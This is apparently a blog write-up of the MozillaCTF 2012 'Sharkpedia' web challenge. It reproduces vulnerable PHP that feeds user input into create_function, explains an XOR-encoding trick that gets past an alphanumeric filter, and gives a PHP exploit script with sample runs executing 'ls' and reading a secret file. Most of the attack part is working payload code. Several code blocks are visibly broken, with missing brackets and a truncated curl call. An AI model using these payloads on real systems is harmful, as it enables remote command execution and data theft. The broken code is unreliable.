MozillaCTF 2012 – Sharkpedia (400)

Sharkpedia was a webchallenge that frustrated us at first. But like anything, it’s easy once you know how πŸ™‚

The code for Sharkpedia (which we grabbed atfer we solved it, no way around that):

$param = @$_GET['p'];

$mode = preg_replace('/[^\w]/', '', $param);

include('textcontainer.php'); // actual content

$functions = array(
	'a' => @create_function('', "return '<h2>$param: $textcontainer[0]';"),
	'b' => @create_function('', "return '<h2>$param: $textcontainer[1]';"),
	'c' => @create_function('', "return '<h2>$param: $textcontainer[2]';")
$links = '';
foreach($functions as $char=>$code)
	$links.= "<a href=\"?p=$char\">$char</a>, ";
$links = substr($links, 0, -2);

if(empty($mode) || !isset($functions[$mode]))
	echo "<p>The following functions are available: " . $links;
    echo "</p>";

echo "<h2>Result</h2>";
echo $functions[$mode]();
echo "<p><a href=\"?p=\">back</a></p>";


So our input gets mangled by ‘/[^\w]/’, which strips a whole bunch of special characters from it. Then they check if $functions[$mode] exist. so $mode is the stripped parameter, but $param isn’t. $param is used again inside the runtime-created functions inside of the return value.. this is where things get interesting. So we can only pass one character in the [a-zA-Z0-9] and it has to be a valid index inside ‘functions’ (a, b, c) .. but we can use as many special characters as we wish because they get stripped for the validation check.

So we cant exactly inject something like: ‘.phpinfo().’ since it contains normal characters. However, PHP does support variable methodnames. so what if we had ($a=”phpinfo”).($a()) or something similar? Well we still haven’t got rid of the characters now did we? The solution (or one of them atleast) is to encode your strings in some way that they pass the filter, and unmangle them using code. A simple way of doing this is the xor operator with a mask of all FF’s. So say we need the string “phpinfo”, we can write it like this in PHP:

$ php -r 'echo "phpinfo"^"\xff\xff\xff\xff\xff\xff\xff";' | xxd
0000000: 8f97 8f96 9199 90                        .......
$ php -r 'echo "\x8f\x97\x8f\x96\x91\x99\x90"^"\xff\xff\xff\xff\xff\xff\xff";' | xxd
0000000: 7068 7069 6e66 6f                        phpinfo

One problem left. If we do variable assignment, we are still using an alphanumeric character for the variable name.. but do we have to? Nope. PHP allows variable names in the range %7f and up just fine. Excellent. Let’s wrap it up in an easy to use exploit. πŸ™‚

	$uri  = 'https://challenge16.mozillactf.org/?p=';

	$func = $argv[1];
	$args = $argv[2];

	function encode_str($str) {
		$l = "'";

		for($i=0; $i<strlen($str); $i++)
			$l .= sprintf("%%%02x", ord($str[$i]) ^ 0xff);

		$l .= "'";

		return $l."^'".str_repeat("%ff", strlen($str))."'";

	// ($a="cmd").($b="args").($a($b))
	$payload =
		"'" .
		".(\$%7f=".encode_str($func).")" .
		".(\$%80=".encode_str($args).")" .
		".(\$%7f(\$%80))" .

	$ch = curl_init($uri . $payload);

	echo "[+] using payload: ?p=".$payload."\n";

	curl_setopt_array($ch, array(

	$res = curl_exec($ch);

	if (strstr($res, "<h2>Result</h2>") === false)
		die("Something went wrong :(\n");

	$res = explode("<h2>Result</h2>", $res);
	$res = explode("<h2>", $res[1]);

	echo $res[0]."\n";
blasty@fastbox:~$ php sharkpedia.php "system" "ls"
[+] using payload: ?p='.($%7f='%8c%86%8c%8b%9a%92'^'%ff%ff%ff%ff%ff%ff').($%80='%93%8c'^'%ff%ff').($%7f($%80));'c

blasty@fastbox:~$ php sharkpedia.php "system" "cat very_secret_fil3_pls_read_content.txt"
[+] using payload: ?p='.($%7f='%8c%86%8c%8b%9a%92'^'%ff%ff%ff%ff%ff%ff').($%80='%9c%9e%8b%df%89%9a%8d%86%a0%8c%9a%9c%8d%9a%8b%a0%99%96%93%cc%a0%8f%93%8c%a0%8d%9a%9e%9b%a0%9c%90%91%8b%9a%91%8b%d1%8b%87%8b'^'%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff').($%7f($%80));'c

Comments are closed.